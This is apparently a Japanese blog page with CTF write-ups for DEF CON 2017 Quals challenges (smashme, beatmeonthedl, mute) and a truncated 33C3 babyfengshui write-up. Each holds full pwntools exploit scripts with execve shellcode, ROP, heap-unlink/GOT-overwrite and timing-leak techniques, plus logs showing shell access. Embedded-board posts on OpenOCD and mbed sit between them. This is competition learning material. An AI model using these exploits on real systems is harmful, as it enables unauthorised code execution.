DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup
TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。
TomoriNaoは 126 pts. で 122位 でした。
簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。
解いたのは下の3つです。100点submitを目標にしていたので満足です。
- Baby’s First - smashme (TODO pts.)
- Baby’s First - beatmeonthedl (TODO pts.)
- Potent Pwnables - mute (TODO pts.)
smashme
バイナリの挙動
- BOF(stack smashing)させてくれる
アプローチ
- ROPによりinformation leak
- main呼び出し
- shellcode送信
- shellcode呼び出し
shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。
information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。
リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。
エクスプロイトコード
コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz
from pwn import * from sys import argv BIN = "./smashme" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" # shellcode = "\x48\x89\xEC" + shellcode # mov rsp,rbp shellcode = "\x48\x89\xE5" + shellcode # mov rbp,rsp # shellcode = "\x48\x83\xEC\xf0" + shellcode # sub rsp, N shellcode = "\x48\x83\xC4\x40" + shellcode # sub rsp, N def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True r = None offset = {} if REMOTE: r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348) else: r = process(BIN) prefix = "Smash me outside, how bout dAAAAAAAAAAA" payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7) # payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7) with open("payload", "w") as f: f.write(payload) # if not REMOTE: # exit() # context.log_level = 'debug' # if not REMOTE: # r.sendline("") print r.recvline() # bp() # bss_stdin = 0x6c9748 # bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210 bss_environ = 0x6cb640 # addr_push_rsp_ret = 0x0044611d addr_pop_rdi_ret = 0x00401942 addr_puts = 0x40fca0 addr_main = 0x4009ae rop_chain = [ p64(addr_pop_rdi_ret), p64(bss_environ), # p64(0x4a06d8), p64(addr_puts), p64(addr_main), ] r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain)) # if not REMOTE: # r.sendline("") # r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n") # res = r.recvline().replace('\n', '') res = r.recv(6) addr = u64(res.ljust(8, '\0')) print "addr = %#x" % addr shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20 print "shellcode addr = %#x" % shellcode_addr # r.interactive() r.recvline() bp() payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr) r.sendline(payload) # r.sendline("ls") r.interactive()
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r [+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done Welcome to the Dr. Phil Show. Wanna smash? addr = 0x7fff7dbc8508 shellcode addr = 0x7fff7dbc83b7 [*] Switching to interactive mode Welcome to the Dr. Phil Show. Wanna smash? $ ls flag smashme $ cat flag The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d
beatmeonthedl
バイナリの挙動
- mallocのチャンクへのポインタのテーブルがbssに置かれる
- チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
- チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF)
- コンパイル条件的にGOT Overwrite可能
- スタックが実行可能(wrx)
アプローチ
- Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
- information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
- ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
- 実行可能領域であるスタック(wrx)にshellcodeを書き込む
- GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)
別記★
- 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
- consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる
エクスプロイトコード
from pwn import * from sys import argv from time import sleep BIN = "./beatmeonthedl" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False SOCAT = False if len(argv) > 1: if argv[1] == "r": REMOTE = True if argv[1] == "r": SOCAT = True r = None offset = {} if REMOTE: r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969) elif SOCAT: r = remote("localhost", 6969) else: r = process(BIN) """menu I) Request Exploit. II) Print Requests. III) Delete Request. IV) Change Request. V) Go Away. """ def request(text): r.sendline('1') r.send(text) res = r.recvline() if "[-] Request list full" in res: log.warn(res) r.recvuntil('| ') return False r.recvuntil('| ') return True def print_req(): r.sendline('2') res = r.recvuntil('| ') req = [] for x in res.split('\n'): if len(x) > 1: if x[0] in "0123456789": no, data = x.split(')')[:3] data = data[1:] req.append((no, data)) return req def delete(no): r.sendline('3') r.sendline("%d" % no) # print r.recvuntil('| ') def change(no, text): r.sendline('4') r.sendline("%d" % no) if len(text) > 0x80: log.fatal("too log data") r.recvuntil("data: ") r.send(text) r.recvuntil('| ') patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y' r.sendline(patt[:40]) r.recvuntil("Invalid user: ") res = r.recvline().strip()[-6:] addr = u64(res.ljust(8, '\x00')) log.info("leaked addr = %#x" % addr) mapped_base_addr = (addr - 0x1f000) & ~0xfff if REMOTE and len(argv) == 3: mapped_base_addr += int(argv[2], 16) * 0x1000 log.info("arrange offset = %#x" % int(argv[2], 16)) log.info("mapped_base_addr = %#x" % mapped_base_addr) r.recvuntil('Enter username: ') r.sendline('mcfly') r.recvuntil('Enter Pass: ') r.sendline('awesnap') r.recvuntil('| ') # for i in range(32): # for i in range(4): for i in range(2): # succ = request(chr(97 + i) * (0x80)) succ = request(chr(97 + i) * (0x10)) if not succ: break # list_ptr = 0x609e80 # 0 0x60a030 # 1 0x60a070 # 2 0x60a0b0 # 3 0x60a0f0 print print_req() ### 2 request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode) # context.log_level = 'debug' ### 3 request("c" * 0x10) ### 4 request("d" * 0x10) # mapped_base_addr = 0x00007ffffffde000 ptr_reqlist = 0x609e80 #### reqlist[2] = mapped_base_addr change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) delete(4) log.info("reqlist[2] has overwriten") bp() sleep(1) # context.log_level = 'debug' change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode) log.info("injected shellcode to reqlist[2]") bp() main_addr = 0x40123c heap_base_addr = 0x0060a000 plt_got = {"puts": 0x609958} shellcode_addr = mapped_base_addr log.info("shellcode addr = %#x" % shellcode_addr) assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000) log.info("change(0, ...)") change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) log.info("=== [got overwrite] ===") log.info("delete(1)") bp() r.sendline("3") r.sendline("1") # context.log_level = 'debug' r.interactive()
結果
K_atc% python2 beatmeonthedl.py r [+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done [*] leaked addr = 0x7ffe3b12a4b0 [*] mapped_base_addr = 0x7ffe3b10b000 [('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')] [*] reqlist[2] has overwriten [*] injected shellcode to reqlist[2] [*] shellcode addr = 0x7ffe3b10b000 [*] change(0, ...) [*] === [got overwrite] === [*] delete(1) [*] Switching to interactive mode 0) @\x99` 1) bbbbbbbbbbbbbbbb 2) H\xbf@\xb0\x10;\xfe\x7f 3) x\x9e` choice: $ ls beatmeonthedl flag $ cat flag The flag is: 3asy p33zy h3ap hacking!!
mute
バイナリの挙動
- シェルコードをmappedされた領域に置いて
call rdx
で呼び出してくれる親切設計 - seccompを使用したサンドボックス問
- 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
- パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1) = 0x602010 seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0 read seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0 open seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0 close seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0 stat seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0 fstat seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0 lstat seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0 poll seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0 lseek seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0 mmap seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0 mprotect seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0 mumap seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0 brk seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0 execve seccomp_load(0x602010, 0, 0, 0) = 0
アプローチ
- writeができないので、動作をもとにflagを1ビットずつリークする
- 朝5時にサーバーが空き始めてきれいに解けた!
エクスプロイトコード
アセンブリの通り。
/home/mute/flag
をlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。
from pwn import * from sys import argv import os import struct import time BIN = "./mute" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True READ_OFFSET = "0" BIT_MASK = "0xff" if REMOTE and len(argv) > 2: READ_OFFSET = argv[2] BIT_MASK = argv[3] if not REMOTE and len(argv) > 1: READ_OFFSET = argv[1] BIT_MASK = argv[2] def leak(READ_OFFSET, BIT_MASK): global BIN log.info("READ_OFFSET = " + READ_OFFSET) log.info("BIT_MASK = " + BIT_MASK) r = None offset = {} if REMOTE: r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443) else: r = process(BIN) r.recvline() if REMOTE: LOOP_AMOUNT = "0x10000000" else: LOOP_AMOUNT = "0x100000000" shellcode = asm(""" push 0x0 mov rax, 0x67616c662f657475 push rax mov rax, 0x6d2f656d6f682f2f push rax push rsp pop rdi mov rsi, 0 mov rdx, 0 mov rax, 2 syscall push rax mov rdi, rax mov rsi, READ_OFFSET mov rdx, 0 mov rax, 8 syscall pop rax mov rdi, rax mov rsi, 0x00601100 mov rdx, 1 mov rax, 0 syscall mov rax, [0x00601100] and rax, BIT_MASK cmp rax, 0 jg end mov rax, LOOP_AMOUNT loop: dec rax cmp rax, 0 jne loop end: """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') # bp() # context.log_level = 'debug' start_time = time.time() # r.send(shellcode.ljust(0x1000, "\x90")) for i in range(0x10): r.send(shellcode.ljust(0x100, "\x90")) try: r.recv(0x1000) except EOFError: end_time = time.time() elapsed_time = end_time - start_time log.info("Connection Closed") print "elapsed time = %f" % elapsed_time r.close() return elapsed_time LOG_FILE_NAME = "bit-%d.log" if REMOTE: LOG_FILE_NAME = "r-"+LOG_FILE_NAME else: LOG_FILE_NAME = "l-"+LOG_FILE_NAME f = open(LOG_FILE_NAME % time.time(), "w") for i in range(0x0, 0x90): for j in range(8): elapsed_time = leak(hex(i), hex(1 << j)) f.write("%d, %d, %f\n" % (i, j, elapsed_time)) f.flush() time.sleep(1) f.close()
計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。
data = [] with open("r-bit-1493583250.log") as f: data = f.read().strip().split("\n") with open("r-bit-1493584813.log") as f: data += f.read().strip().split("\n") with open("r-bit-1493585321.log") as f: data += f.read().strip().split("\n") flag = [] for i in range(0x90): flag.append(list("0b00000000")) threthold = 0.5 for x in data: i, j, t = x.split(',') i, j, t = int(i), int(j), float(t) if t < threthold: flag[i][-(j+1)] = "1" buf = "" for i in range(0x90): # print ''.join(flag[i]) d = int(''.join(flag[i]), 2) buf += chr(d & 0xff) print buf
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。
手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。
来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)
NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた
NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。
今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。
OpenOCDはgit版を使っています。
K_atc% openocd -v Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html
ピン接続
デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。
図は ULINK2 User's Guide: Target Connectors より
Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜
SWDの場合
CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
Nucleo側 | ST-Link側 |
---|---|
1 | 1 (VCC) |
2 | 9 (SWCLK) |
3 | 4 (GND) |
4 | 7 (SWDIO) |
JTAGの場合(試行中)
CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。
メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging
と怒られてしまう)
Nucleo側 | ST-Link側 |
---|---|
1 | 1 (VCC) ※ |
2 | 9 (JTCK) ※ |
3 | 4 (GND) ※ |
4 | 7 (TMS/JDIO) ※ |
5 | 3 (nRST) |
6 | 13 (TDO/SWO) |
OpenOCD
ダメな接続例:USB電源を2箇所からとる
openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。
よい接続例:USBを同じところからとる
2本のUSBを同じPCに接続するということです。
OpenOCDのスクリプトファイル(-f
オプションで渡すファイル)を次の要領で作成しました。
ベースのディレクトリはインストール先によって変わるかもしれません。
# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg # でもよい。 [f:id:katc:20170424162753p:plain] cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg
SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…
あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。
[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'. adapter speed: 300 kHz adapter_nsrst_delay: 100 Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD none separate Info : Unable to match requested speed 300 kHz, using 240 kHz Info : Unable to match requested speed 300 kHz, using 240 kHz Info : clock speed 240 kHz Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748 Info : using stlink api v2 Info : Target voltage: 3.183191 Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints
参考
STM32NucleoでLチカ(mbed/C++)
時間がないので手短にまとめます。
必要なもの
- STM32のNucleo(僕は、NUCLEO-L152REを使用)
- USB Mini-B ケーブル
- mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)
調査
NucleoのLD2(緑色のユーザー用LED)のポートを調べる
NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。
PortAのベースアドレスと中身を調べる
STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。
PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。
Lチカコード(main.cpp)
#include "mbed.h" #define DURATION 0.15 #define PORT_A (0x40020000) #define MODER (0x0) #define ODR (0x14) #define PORT_A_ODR ((volatile int*)(PORT_A + ODR)) #define PORT_A_MODER ((volatile int*)(PORT_A + MODER)) void ld2_on() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur | 1 << 5; } void ld2_off() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur & ~(1 << 5); } // ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない void init_ld2() { // output mode volatile int* cur = (volatile int *) (PORT_A + MODER); *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5 ld2_off(); } int main() { for(int i = 0; i < 1000; i++) { ld2_on(); wait(DURATION); ld2_off(); wait(DURATION); } ld2_on(); return 0; }
参考
- NucleoのUser Manual (pdf): http://www.st.com/content/ccc/resource/technical/document/user_manual/98/2e/fa/4b/e0/82/43/b7/DM00105823.pdf/files/DM00105823.pdf/jcr:content/translations/en.DM00105823.pdf
- STM32Lのデータシート (pdf): http://www.st.com/content/ccc/resource/technical/document/datasheet/66/71/4b/23/94/c3/42/c8/CD00277537.pdf/files/CD00277537.pdf/jcr:content/translations/en.CD00277537.pdf
33C3 CTF - babyfengshui (pwn150) ほかの writeup
2016/12/29 5:00から48時間開催の33C3 CTFにPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。
- babyfengshui (pwn150)
- exfill (for100)
- pdfmacker (misc75)
で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。
babyfengshui
ユーザー管理をする帳簿を模したプログラムがpwnの対象。
疑似Cコード:
struct STRUCT_USERS { STRUCT_USER* user; }; struct STRUCT_USER { // char* description; char* text; // char[] name; // size = 0x7c }; // size = 0x80 users[0]->name == users + 4 int number_of_X; // 0x804b069, starts with 0 STRUCT_USERS users; // 0x804b080 void getText(char* arg0, int arg1) { // 0x80486bb var_C = *0x14; fgets(arg0, arg1, *stdin); var_10 = strchr(arg0, 0xa); if (var_10 != 0x0) { *(int8_t *)var_10 = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Update(int arg0) { var_1C = arg0; var_C = *0x14; if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit; loc_804875e: printf("text length: "); // __isoc99_scanf("%u%c", 0x0, var_11); __isoc99_scanf("%u%c", 0x0, var_11, var_10); // esp = (esp - 0xc - 0x4) + 0x10; if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax; loc_80487cd: printf("text: "); getText(users[var_1C]->text, 0x7c); goto update_exit;u update_exit: eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Add(int arg0) { var_C = *0x14; var_14 = malloc(arg0); // arg0 is desicription size memset(var_14, 0x0, arg0); var_10 = malloc(0x80); memset(var_10, 0x0, 0x80); *var_10 = var_14; // users[i]->text = var_14 users[number_of_X] = var_10; printf("name: "); eax = *(int8_t *)number_of_X & 0xff; eax = *((eax & 0xff) * 0x4 + users); getText(eax + 0x4, 0x7c); number_of_X += 1; Update(number_of_X - 1); eax = var_10; ecx = var_C ^ *0x14; COND = ecx == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Delete { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); eax = *eax; free(eax); eax = *((var_1C & 0xff) * 0x4 + users); free(eax); *((var_1C & 0xff) * 0x4 + users) = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Display { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); printf("name: %s\n", users[var_1C]->name); // eax = *((var_1C & 0xff) * 0x4 + users); // eax = *eax; printf("description: %s\n", users[var_1C]->description); } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } int main() { eax = *stdin; setvbuf(eax, 0x0, 0x2, 0x0); eax = *stdout; setvbuf(eax, 0x0, 0x2, 0x0); alarm(0x14); esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; goto loc_8048a68; loc_8048a68: puts("0: Add a user"); puts("1: Delete a user"); puts("2: Display a user"); puts("3: Update a user description"); puts("4: Exit"); printf("Action: "); esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10; if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb; loc_8048ae1: eax = exit(0x1); return eax; loc_8048aeb: if (var_14 == 0x0) { printf("size of description: "); __isoc99_scanf("%u%c", var_10, var_15); Add(var_10); esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x1) { printf("index: "); __isoc99_scanf("%d", var_10); Delete(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x2) { printf("index: "); __isoc99_scanf("%d", var_10); Display(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x3) { printf("index: "); __isoc99_scanf("%d", var_10); Update(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 != 0x4) goto loc_8048c05; loc_8048beb: puts("Bye"); eax = exit(0x0); return eax; loc_8048c05: if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68; loc_8048c14: puts("maximum capacity exceeded, bye"); eax = exit(0x0); return eax; }
思考
- 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
- free()の後にポインタをNull化しているため、double freeやUAF不可
- ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す
思い込み(意図的に作り込まれたバグ)
if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax;
このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。
方針
- ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
- GOT書き換えからの
system("/bin/sh")
呼び出し(上図の(4))free(buf)
をsystem("/bin/sh")
と同等にする
Exploit Code
from pwn import * from sys import argv from os import system BIN = "./babyfengshui" BIN_PATCHED = BIN + ".patched" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") PATCH = False REMOTE = False if len(argv) > 1: if argv[1] == "patch": PATCH = True elif argv[1] == "r": REMOTE = True """ 08048a5e 6A14 push 0x14 ; argument "seconds" for method j_alarm 08048a60 E8ABFAFFFF call j_alarm """ if PATCH: with open(BIN) as f: b = f.read() b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF") with open(BIN_PATCHED, "wb") as f2: f2.write(b) system("chmod +x " + BIN_PATCHED) exit() r = None # e = ELF(BIN) offset = {} if REMOTE: """ [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@" 640: 0004cc50 52 FUNC GLOBAL DEFAULT 12 printf@@GLIBC_2.0 [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system" 1443: 0003e3e0 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$" 15f551 /bin/sh """ r = remote("78.46.224.83", 1456) offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551} else: """ [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@" 647: 0004a020 42 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.0 [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@" 1460: 0003af40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$" 15ef08 /bin/sh """ # r = process(BIN_PATCHED) r = process(BIN) offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08} count = 0 def Add(size_description, name, size_text, text): global count r.recvuntil("Action: ") r.sendline("0") r.recvuntil("size of description: ") r.sendline(str(size_description)) r.recvuntil("name: ") r.sendline(name) r.recvuntil("text length: ") r.sendline(str(size_text)) res = r.recv(1024) if res == "my l33t defenses cannot be fooled, cya!\n": log.error("GAME OVER: %s" % res.strip('\n')) exit() r.sendline(text) count += 1 def Delete(index): r.recvuntil("Action: ") r.sendline("1") r.recvuntil("index: ") r.sendline(str(index)) def Display(index): r.recvuntil("Action: ") r.sendline("2") r.recvuntil("index: ") r.sendline(str(index)) name 